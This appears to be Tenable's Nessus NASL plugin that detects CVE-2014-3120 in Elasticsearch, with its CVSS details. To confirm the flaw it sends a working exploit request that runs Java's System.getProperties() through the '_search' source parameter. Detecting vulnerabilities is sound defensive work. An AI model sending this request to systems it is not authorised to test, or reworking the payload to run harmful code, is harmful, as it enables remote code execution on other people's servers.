CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
EPSS
Percentile
97.6%
The Elasticsearch application hosted on the remote web server is affected by a remote code execution vulnerability due to a failure to properly sanitize user-supplied input to the ‘source’ parameter of the ‘/_search’ page. A remote, unauthenticated attacker can exploit this flaw to execute arbitrary Java code or manipulate files on the remote host.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(76572);
script_version("1.11");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");
script_cve_id("CVE-2014-3120");
script_bugtraq_id(67731);
script_xref(name:"EDB-ID", value:"33370");
script_xref(name:"EDB-ID", value:"33588");
script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/15");
script_name(english:"Elasticsearch 'source' Parameter RCE");
script_set_attribute(attribute:"synopsis", value:
"The remote web server hosts a Java application that is affected by a
remote code execution vulnerability.");
script_set_attribute(attribute:"description", value:
"The Elasticsearch application hosted on the remote web server is
affected by a remote code execution vulnerability due to a failure to
properly sanitize user-supplied input to the 'source' parameter of the
'/_search' page. A remote, unauthenticated attacker can exploit this
flaw to execute arbitrary Java code or manipulate files on the remote
host.");
script_set_attribute(attribute:"see_also", value:"http://bouk.co/blog/elasticsearch-rce/");
script_set_attribute(attribute:"see_also", value:"https://www.elastic.co/blog/found-elasticsearch-security");
script_set_attribute(attribute:"solution", value:
"Upgrade to version 1.2.0 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-3120");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_malware", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'ElasticSearch Dynamic Script Arbitrary Java Execution');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2013/12/09");
script_set_attribute(attribute:"patch_publication_date", value:"2014/05/22");
script_set_attribute(attribute:"plugin_publication_date", value:"2014/07/17");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:elasticsearch:elasticsearch");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2014-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("elasticsearch_detect.nbin");
script_require_keys("installed_sw/Elasticsearch");
script_require_ports("Services/www", 9200);
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
app = "Elasticsearch";
get_install_count(app_name:app, exit_if_zero:TRUE);
port = get_http_port(default:9200);
install = get_single_install(
app_name : app,
port : port
);
dir = install['path'];
url = build_url(qs:dir, port:port);
vuln = FALSE;
j_int = rand();
j_int2 = rand();
j_int3 = rand();
attack = '{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"' +
'script_fields":{"Java Properties":{"script":"import java.lang.*;\\n' +
'System.getProperties();"}}}&callback=jQuery' + j_int + '_' + j_int2 +
'&_=' + j_int3;
attack = urlencode(
str : attack,
unreserved : 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.&=_*()',
case_type : HEX_UPPERCASE
);
attack = dir+"_search?source="+attack;
res = http_send_recv3(
method : "GET",
port : port,
item : attack,
exit_on_fail : TRUE
);
vuln = (
("jQuery" + j_int + "_" + j_int2) >< res[2] &&
"java.specification.version" >< res[2] &&
"java.version" >< res[2] &&
'"successful":' >< res[2]
);
if (!vuln)
audit(AUDIT_WEB_APP_NOT_AFFECTED, app, url);
attack = build_url(qs:attack, port:port);
security_report_v4(
port : port,
severity : SECURITY_WARNING,
cmd : "System.getProperties()",
output : res[2],
request : make_list(attack),
line_limit : 25
);